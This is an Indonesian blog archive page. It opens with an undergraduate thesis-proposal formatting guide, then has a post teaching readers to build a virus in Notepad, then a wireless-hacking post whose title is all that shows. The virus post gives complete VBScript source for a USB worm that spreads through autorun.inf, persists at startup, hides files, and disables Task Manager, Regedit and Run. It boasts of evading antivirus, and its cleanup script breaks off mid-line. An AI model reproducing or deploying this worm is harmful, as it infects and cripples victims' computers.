PANDUAN PENULISAN PROPOSAL S1
Minggu, 04 Oktober 2009 - - 0 Comments
Panduan Penulisan Proposal dan Skripsi Hal --1
HVS 80 gram warna putih dengan ukuran kuarto letter (21,59 x 27,94 cm2) atau A4 (21 x 29,7 cm2)]
2. HURUF
Ukuran huruf standar (12 point, pika) dengan jenis huruf standar yaitu Times New Roman
3. CARA PENGETIKAN
a. Orientasi tegak (portrait), kecuali dalam kondisi tertentu dapat diketik dengan orientasi tidur (landscape).
b. Naskah diketik dengan jarak spasi 1,5
c. Alinea baru diketik dengan ukuran tabulasi 1,27 cm (tujuh ketukan kosong dari tepi kiri).
d. Batas Ketikan (margin) : 4,0 cm dari tepi kiri dan tepi atas dan 3,0 cm dari tapi kanan dan tepi bawah.
e. Nomor Halaman :
1) Halaman pendahuluan yang terdiri dari halaman judul, abstrak, kata pengantar, daftar isi,
daftar tabel, daftar gambar, daftar istilah, dan daftar persembahan diberi nomor dengan
angka Romawi kecil (i, ii, iii, iv, v, dan seterusnya).
2) Halaman isi yang terdiri dari pendahuluan sampai daftar pustaka diberi nomor dengan angka
Arab (1, 2, 3, 4, 5, dan seterusnya) dan ditempatkan ditengah-tengah halaman bagian
bawah dengan jarak 1,5 cm dari batas bawah dan 3,0 cm dari tepi kanan kertas
3) Nomor halaman, umumnya tidak diberikan pada halaman yang berisi Judul Bab namun tetap
dihitung jumlahnya.
4) Halaman penutup yang berisi lampiran-lampiran, baik berupa data maupun foto diberikan
halaman khusus, misalnya di mulai dari halaman lampiran 1.
f. Halaman Judul :
1) Judul diletakkan di tengah kertas dengan huruf kapital semua dengan jarak sekitar 5,0 cm
dari tepi atas kertas, dan apabila judul lebih dari satu baris maka jarak antar baris judul
adalah satu spasi
2) Ukuran huruf dari judul karya ilmiah harus lebih besar daripada ukuran huruf dari komponen
lain yang terdapat dalam halaman judul, sehingga lebih menarik
3) Etiket tulisan: PROPOSAL atau SKRIPSI diketik dibagian tengah kertas dengan huruf kapital
semua di bawah Judul
4) Ungkapan maksud ditulisnya karya tulis ilmiah diketik dibagian tengah kertas dengan jarak
tiga spasi di bawah Etiket tulisan.
5) Logo lembaga diketik dibagian tengah kertas dengan jarak yang seimbang antara ungkapan
maksud ditulisnya karya tulis ilmiah dan nama penulis dan identitasnya. Ukuran logo
lembaga disesuaikan dengan jarak tersebut tanpa mengurangi artinya.
6) Nama penulis dan alamatnya diketik dibagian tengah kertas dengan jarak sekitar 7,0 cm di
bawah ungkapan maksud penulisan karya ilmiah. Nama penulis ditulis dengan huruf besar
semua tanpa menyebut gelar yang pernah diperoleh dan alamat ditulis dengan kalimat
biasa.
7) Nama Institusi diketik dibagian tengah kertas dengan jarak 5,0 – 7,0 cm di bawah nama
penulis yang dilengkapi dengan nama tempat dan tahun tulisan diselesaikan.
4. ABSTRAK
Abstrak merupakan rangkuman singkat dari isi tulisan ilmiah yang berisi masalah, tujuan, metode, dengan tekanan utama pada hasil kegiatan ilmiah. Abstrak, umumnya memuat 50 – 250 kata yang disusun dalam satu paragraf, diketik dengan jarak satu spasi. Abstrak ditulis dalam bahasa Indonesia bahasa apapun (selain bahasa Inggris). Dibawah Abstrak dituliskan KATA KUNCI yang berisi kata Panduan Penulisan Proposal dan Skripsi Hal --2
yang benar-benar menggambarkan ranah masalah yang diteliti. Banyaknya kata kunci adalah 3-5 kata.
5. REFERENSI
Referensi adalah daftar publikasi (makalah, buku teks dan sejenisnya) yang dikutip pada tulisan.
Referensi disajikan sebagai sebuah daftar yang diurutkan menurut abjad nama belakang penulis
yang dikutip gagasannya. Tidak ada referensi yang tidak dikutip pada tulisan dan tidak ada kutipan
yang tidak ada pada daftar referensi.
6. PENULISAN DAFTAR PUSTAKA
(a) Penulisan daftar pustaka disusun secara alfabetis, dari A -Z, dengan patokan pada huruf pertama
dari nama keluarga atau marga penulis.
(b) Penulisan nama orang Indonesia yang lebih dari satu kata, adalah kata kedua dianggap sebagai
nama keluarga dengan disertai tanda-baca koma (,) diikuti singkatan kata pertama dan diakhiri
dengan tanda titik (.).
(Catatan : apabila suatu bahan pustaka tidak terinformasi penulisnya, maka nama penulis tidak
boleh ditulis dengan Anonim).
(c) Setelah nama pengarang, berikutnya ditulis tahun penerbitan bahan pustaka dan diakhiri dengan
tanda titik.
(d) Setelah tahun terbit bahan pustaka, berikutnya ditulis judul bahan pustaka yang diketik miring
diakhiri dengan tanda titik (.).
(e) Setelah nama bahan pustaka, selanjutnya ditulis (1) nama penerbit untuk bahan pustaka beru pabuku, dan (2) nama jurnal beserta volume, nomor, tahun terbit, dan halaman bahan pustaka yang dibaca untuk artikel ilmiah yang diterbitkan dalam bentuk jurnal.
(f) Bagian terakhir adalah nama kota dari alamat penerbit untuk bahan pustaka berupa buku.
(g) Apabila nama penulis dari bahan pustaka yang dirujuk lebih dari satu, maka penulis ke-2 dan ke-
3 urutan kata namanya tetap seperti nama aslinya hanya kata pertama dan/atau kedua disingkat.
Contoh Penulisan Daftar pustaka terdapat pada lampiran 6.
7. ORGANISASI TULISAN ILMIAH
Organisasi tulisan dalam proposal dan skripsi menggunakan tipografi Angka-Huruf. Tulisan ilmiah dengan tipe tipografi angka-huruf, disusun sebagai berikut : judul bab diberi nomor dengan angka Romawi, subbab ditulis dengan huruf kapital, sub-subbab ditulis dengan angka Arab, perincian yang lebih kecil lagi ditulis dengan huruf kecil, apabila masih mempunyai bagian penting maka digunakan angka Arab berkurung tutup dan diikuti dengan huruf kecil berkurung tutup, dan seterusnya.
Contoh:
Bab I. ……………………………………………………………….
A. …………………………………………………………………
1. ………………………………………………………………
2. ………………………………………………………………
a. …………………………………………………………
b. …………………………………………………………
1) …………………………………………………….
2) …………………………………………………….
a) …………………………………………………
b) …………………………………………………
(1) …………………………………………….
(2) …………………………………………….
(a) ……………………………………….
(b) …………………………….
Panduan Penulisan Proposal dan Skripsi Hal --3
KETENTUAN ADMINISTRATIF
1. Sebuah topik / judul skripsi dapat berlaku sebagai berikut:
a) Setiap mahasiswa memiliki hak untuk menyelesaikan skripsi dalam waktu 1 semester, atau
b) Diperpanjang 1 semester, dengan konsekuensi biaya yang harus ditanggungnya
c) Jika dalam 1 tahun (2 semester) mahasiswa tidak dapat menyelesaikan skripsi, maka
skripsi tersebut dianggap gagal
d) Jika dalam 1 semester mahasiswa membatalkan topik/judul skripsi dan beralih ke topik
baru, maka skripsi dengan topik lama dianggap gagal. Mahasiswa wajib mengulangi
prosedur pendaftaran skripsi dari awal dengan konsekuensi biaya yang harus
ditanggungnya
2. Untuk keperluan Ujian Proposal, mahasiswa wajib menyerahkan proposal skripsi yang telah
disetujui oleh Ketua Program Studi sebanyak 3 bendel kepada Ketua Program Studi:
a) 1 bendel untuk penguji proposal 1
b) 1 bendel untuk penguji proposal 2
c) 1 bendel untuk arsip Program Studi
3. Untuk keperluan Ujian Skripsi, mahasiswa wajib menyerahkan laporan skripsi yang telah disetujui
oleh Pembimbing sebanyak 3 bendel kepada Ketua Program Studi:
a) 1 bendel untuk penguji 1
b) 1 bendel untuk penguji 2
c) 1 bendel untuk penguji 3
4. Untuk keperluan Hasil Akhir, mahasiswa wajib menyerahkan laporan skripsi yang telah direvisi dan
disahkan oleh Pembimbing I dan II serta disahkan oleh Ketua Program Studi, sebanyak 2 bendel:
a) 1 bendel untuk Perpustakaan
b) 1 bendel untuk arsip Program Studi
Panduan Penulisan Proposal dan Skripsi Hal --4
SISTEMATIKA PENULISAN PROPOSAL
Berdasarkan pada rencana hasil penelitian atau perancangan sistem informasi atau rekayasa
hardware dan jaringan yang telah dilaksanakan, draft proposal skripsi dapat disusun dengan sistematika
sebagai berikut.
Halaman Cover
Halaman Pengesahan Proposal Skripsi
A. JUDUL
B. LATAR BELAKANG
C. RUMUSAN MASALAH
D. [BATASAN MASALAH ]
E. TUJUAN DAN MANFAAT
F. TINJAUAN PUSTAKA
G. METODE PENGEMBANGAN SISTEM / METODE PENELITIAN
H. JADUAL KEGIATAN
DAFTAR PUSTAKA
Catatan:
1) Poin D. Batasan masalah dapat dituliskan apabila topik yang dibahas membutuhkan batasan
tertentu
2) Apabila batasan masalah tidak diperlukan maka susunan isinya adalah :
A. JUDUL B. LATAR BELAKANG C. RUMUSAN MASALAH D. TUJUAN DAN MANFAAT E. TINJAUAN PUSTAKA F. METODE PENGEMBANGAN SISTEM / METODE PENELITIAN G. JADUAL KEGIATAN DAFTAR PUSTAKA
(Keterangan : contoh format baku dapat dilihat pada lampiran)
PENJELASAN
A. JUDUL
Dituliskan judul sesuai dengan judul yang tertulis pada halaman cover.
B. LATAR BELAKANG
Pada bagian ini perlu dijelaskan pentingnya pemanfaatan teknologi informasi yang semestinya
diterapkan sesuai dengan topik yang akan dibahas.
Kemudian, perlu dipaparkan pula hal-hal yang menjadi masalah utama disertai dengan
dukungan data yang jelas seperti analisis situasi saat ini.
C. RUMUSAN MASALAH
Bagian ini merupakan bagian yang menjadi panduan terhadap hal-hal yang akan diselesaikan
sebagai proyek skripsi. Hal yang akan diselesaikan tersebut semestinya termaktub didalam
permasalahan yang tertuang pada Latar belakang.
Panduan Penulisan Proposal dan Skripsi Hal --5
Rumusan masalah dapat dituangkan dalam kalimat tanya (namun tidak selalu demikian).
Rumusan ini harus terjawab pada setiap pembahasan serta kesimpulan dari materi Skripsi.
Jika topik yang dibahas adalah penelitian, maka dibagian ini pula perlu dicantumkan
hipotesisnya.
D. TUJUAN DAN MANFAAT
Tujuan terkait dengan apa yang hendak dipecahkan. Umumnya dihubungkan dengan loutput
yang hendak dibuat dalam proyek Skripsi. Manfaat adalah outcome atau dampak yang dapat
diambil setelah proyek skripsi selesai dibuat, terkait dengan output yang akan dihasilkan.
Tujuan dan manfaat harus terukur.
E. TINJAUAN PUSTAKA
Bagian ini berisi uraian tentang landasan teori yang menjadi pendukung topik yang dibahas.
Setiap teori yang dituliskan harus merujuk pada referensi yang dipilih dengan menuliskan
sitasinya secara benar. Setiap referensi yang dikutip harus dituliskan pada Daftar Pustaka, dan
setiap referensi yang tertulis pada Daftar Pustaka harus terkutip pada Tinjauan Pustaka.
F. METODE PENGEMBANGAN SISTEM / METODE PENELITIAN
Jika topik yang akan dibahas terkait dengan rekayasa perangkat lunak/keras/jaringan maka
bagian ini berisi uraian tentang metodologi yang dipilih sebagai pedoman didalam
mengerjakan proyek yang hendak dibangun. Jelaskan pula alasan pemilihan metodologi
tersebut.
Jika topik yang akan dibahas terkait dengan penelitian maka bagian ini berisi bagaimana
penelitiandilakukan, dengan materi pokok rancangan penelitian, teknik pengumpulan data dan
pengembangan instrumen, parameter penelitian, dan teknik analisis data.
G. JADUAL KEGIATAN
Bagian ini berisi rencana kegiatan yang dipaparkan dalam bentuk matriks. Bentuk matriks
dapat digambarkan dengan model GANTT CHART.
DAFTAR PUSTAKA
Bagian ini berisi daftar publikasi (makalah, buku teks dan sejenisnya) yang dikutip pada tulisan.
Referensi disajikan sebagai sebuah daftar yang diurutkan menurut abjad nama belakang penulis
yang dikutip gagasannya. Tidak ada referensi yang tidak dikutip pada tulisan dan tidak ada kutipan
yang tidak ada pada daftar referensi.
Panduan Penulisan Proposal dan Skripsi Hal --6
[ REKAYASA ]
dilaksanakan, draft skripsi dapat disusun dengan sistematika sebagai berikut.
Halaman Cover
Halaman Pengesahan Skripsi
Lembar Abstraksi Skripsi
Kata Pengantar
Daftar Isi
Daftar Tabel
Daftar Gambar
Daftar Lampiran
BAB I : PENDAHULUAN
A. Latar Belakang
B. Rumusan Masalah
C. [Batasan Masalah ]
D. Tujuan dan Manfaat
E. Metode Pengembangan Sistem / Metodologi Penelitian
Catatan:
Poin C. Batasan masalah dapat dituliskan apabila topik yang dibahas membutuhkan batasan
tertentu
Apabila batasan masalah tidak diperlukan maka susunan isi pada bab I adalah :
A. Latar Belakang
B. Rumusan Masalah
C. Tujuan dan Manfaat
D. Metode Pengembangan Sistem / Metodologi Penelitian
BAB II : TINJAUAN PUSTAKA BAB III: DATA DAN FAKTA BAB IV: RANCANGAN SISTEM / RANCANGAN PENELITIAN BAB V : HASIL SISTEM DAN PEMBAHASAN / HASIL PENELITIAN DAN PEMBAHASAN BAB VI: KESIMPULAN DAN SARAN DAFTAR PUSTAKA LAMPIRAN
(Keterangan : contoh format baku dapat dilihat pada lampiran)
PENJELASAN 1. BAB I : PENDAHULUAN
Secara prinsip isi dari bab ini telah ada dalam proposal yang telah disetujui pada saat SEMINAR
PROPOSAL.
2. BAB II : TINJAUAN PUSTAKA
Panduan Penulisan Proposal dan Skripsi Hal --7
Berisi uraian yang sistematis dari teori-teori yang mendukung topik pembahasan. Teori yang
dimaksud mulai dari teori materi yang menjadi obyek pengembangan sistem; metodologi dan alatalat
yang digunakan dalam pengembangan sistem; serta model pengembangan sistem yang
digunakan.
Misalnya : yang menjadi obyek adalah sistem akuntansi berarti harus diuraikan teori-teori yang
mendukung suatu sistem akuntansi.
Metodologi pengembangan sistem dikenal ada metodologi terstruktur dan metodologi berbasis
obyek, dll. Masing-masing metodologi memiliki tool atau alat yang spesifik dan sangat bervariasi,
sehingga perlu diperjelas dan dijabarkan secara lebih terinci. Sedangkan model pengembangan
sistem terdapat model waterfall; model prototype dan model spiral. Dari ketiga model ini salah satu saja yang dijadikan sebagai landasan teori yaitu yang akan digunakan dalam proses
pengembangan sistem.
3. BAB III: DATA DAN FAKTA
Berisi uraian tentang data/keterangan dari obyek yang diteliti, baik keadaan yang telah lewat dan atau kondisi saat ini, termasuk didalamnya uraian tentang masalah-masalah yang sedang dihadapi dan berbagai alternatif pemecahan yang diusulkan dari hasil analisis.
Apabila obyek yang diteliti melibatkan suatu organisasi, maka uraian yang dapat dipaparkan
adalah: struktur organisasi beserta jenis/tipe garis komando yang diambil, stakeholder dan latar
belakang pengetahuan dan pendidikannya, situasi kelembagaan yang berlangsung, aliran
dokumen dari sistem yang akan dikembangkan atau dibangun, ketersediaan teknologi dan
perangkat keras yang dimungkinkan akan dimanfaatkan pada sistem yang baru, penguraian
permasalahan secara lebih rinci dan konkret.
4. BAB IV: RANCANGAN SISTEM
Bab ini diwajibkan bagi skripsi yang melakukan pembahasan pengembangan sistem informasi.
Berisi uraian dari tahapan perencanaan, analisis, dan rancangan sistem. Masing-masing tahapan
berisi laporan kegiatan bersesuaian dengan apa yang telah direncanakan pada proposal.
Pada tahapan perencanaan, uraikan yang telah dilakukan pada tahapan ini
Pada tahapan analisis, uraikan hasil analisis terhadap sistem yang dikembangkan atau
dibangun.
Pada tahapan rancangan masukan dan keluaran gunakan konsep LKT (Lembar Kerja
Tampilan) dan Jaringan Semantik.
Pada tahapan rancangan database, uraikan teknik membangun tabel-tabel yang digunakan
sampai didaptkan database yang bebas dari kerangkapan data. Terdapat beberapa cara, jika
menggunakan teknik Normalisasi maka uraikan masing-masing tahapan sampai didapatkan
tabel-tebal yang normal. Jika menggunakan ERD (Entity Relationship Diagram) gambarkan
bentuk ERD dan Skema-nya.
Pada tahapan rancangan teknologi, uraikan bentuk teknologi hardware yang akan digunakan
untuk menerapkan sistem. Jika menggunakan jaringan komputer uraikan bentuk teknologi
jaringan yang akan digunakan : topologi, perangkat keras dan perangkat lunak.
(ibarat membangun rumah maka pada tahapan ini adalah proses menggambar rancangan
rumah, sedangkan foto-foto dari rumah yang telah dibangun berdasarkan hasil rancangan
ditampilkan pada Bab V)
5. BAB V : HASIL SISTEM DAN PEMBAHASAN
Panduan Penulisan Proposal dan Skripsi Hal --8
Bagian ini harus memaparkan implementasi dari rancangan yang telah di sampaikan pada bab IV beserta penjelasannya. Diuraikan rencana testing program dan sistem beserta tahapan
implementasi sistem yang akan digunakan.
6. BAB VI: KESIMPULAN DAN SARAN
Berisi uraian singkat tentang kesimpulan dari hasil pembahasan rekayasa yang dibangun, serta
berisi tentang keuntungan yang didapatkan dari sistem yang dibangun.
sistematika sebagai berikut.
Halaman Cover
Halaman Pengesahan Skripsi
Lembar Abstraksi Skripsi
Kata Pengantar
Daftar Isi
Daftar Tabel
Daftar Gambar
Daftar Lampiran
BAB I : PENDAHULUAN
A. Latar Belakang
B. Rumusan Masalah
C. [Batasan Masalah ]
D. Tujuan dan Manfaat
Catatan:
Poin C. Batasan masalah dapat dituliskan apabila topik yang dibahas membutuhkan batasan
tertentu
Apabila batasan masalah tidak diperlukan maka susunan isi pada bab I adalah :
E. Latar Belakang
F. Rumusan Masalah
G. Tujuan dan Manfaat
H. Metode Pengembangan Sistem / Metodologi Penelitian
BAB II : TINJAUAN PUSTAKA BAB III: METODOLOGI PENELITIAN
A. Metode Penelitian
B. Metode Analisis
BAB IV: HASIL DAN PEMBAHASAN
A. Uji Validasi
B. Uji Reliabilitas
C. Uji Asumsi Klasik
D. Uji Hipotesis
BAB V : KESIMPULAN DAN SARAN
DAFTAR PUSTAKA
Panduan Penulisan Proposal dan Skripsi Hal --9
LAMPIRAN
(Keterangan : contoh format baku dapat dilihat pada lampiran)
PENJELASAN
1. BAB I : PENDAHULUAN
Secara prinsip isi dari bab ini telah ada dalam proposal yang telah disetujui pada saat SEMINAR
PROPOSAL.
2. BAB II : TINJAUAN PUSTAKA
Berisi uraian yang sistematis dari teori-teori yang mendukung topik pembahasan. Teori yang
dimaksud mulai dari teori materi yang menjadi obyek pengembangan sistem; metodologi dan alatalat
yang digunakan dalam pengembangan sistem; serta model pengembangan sistem yang
digunakan.
Misalnya : yang menjadi obyek adalah sistem akuntansi berarti harus diuraikan teori-teori yang
mendukung suatu sistem akuntansi.
Metodologi pengembangan sistem dikenal ada metodologi terstruktur dan metodologi berbasis
obyek, dll. Masing-masing metodologi memiliki tool atau alat yang spesifik dan sangat bervariasi,
sehingga perlu diperjelas dan dijabarkan secara lebih terinci. Sedangkan model pengembangan
sistem terdapat model waterfall; model prototype dan model spiral. Dari ketiga model ini salah satu
saja yang dijadikan sebagai landasan teori yaitu yang akan digunakan dalam proses
pengembangan sistem.
3. BAB III: METODOLOGI PENELITIAN
Pada Metode Penelitian perlu dijelaskan jenis penelitian, obyek penelitian, teknik pengumpulan
data, sumber data, populasi dan sampel. Pada Metode Analisis perlu dijelaskan cara mengukur
responden, validitas, reliabilitas serta uji asumsi klasik.
4. BAB IV: HASIL DAN PEMBAHASAN
Pada bagian dijelaskan uji yang dilakukan disertai pembahasannya.
5. BAB V: KESIMPULAN DAN SARAN
Berisi uraian singkat tentang kesimpulan dari hasil pembahasan penelitian dan saran yang perlu
disampaikan.
Panduan Penulisan Proposal dan Skripsi Hal --10
Lampiran 1 : Contoh format baku Cover Skripsi
Lebih lengkapnya Kunjungi disini : http://www.site.stmik-wp.ac.id/index.php?option=com_docman&task=doc_view&gid=4&tmpl=component&format=raw&Itemid=78&lang=in
MEMBUAT VIRUS DENGAN NOTEPAD
Rabu, 01 April 2009 - - 0 Comments
kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
Dibawah ini adalah anti kalongnya
Dim Kalong
set kalong = createobject(”WScript.Shell”)
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “0″, “REG_DWORD”kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “0″, “REG_DWORD”
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”INTERNET EXPLORER”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, “”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”, “”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”, “”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”"
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”"
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet
HACKING WIRELES
Kamis, 26 Maret 2009 - - 0 Comments
Hacking Wireless
Membobol MAC Address Filtering:
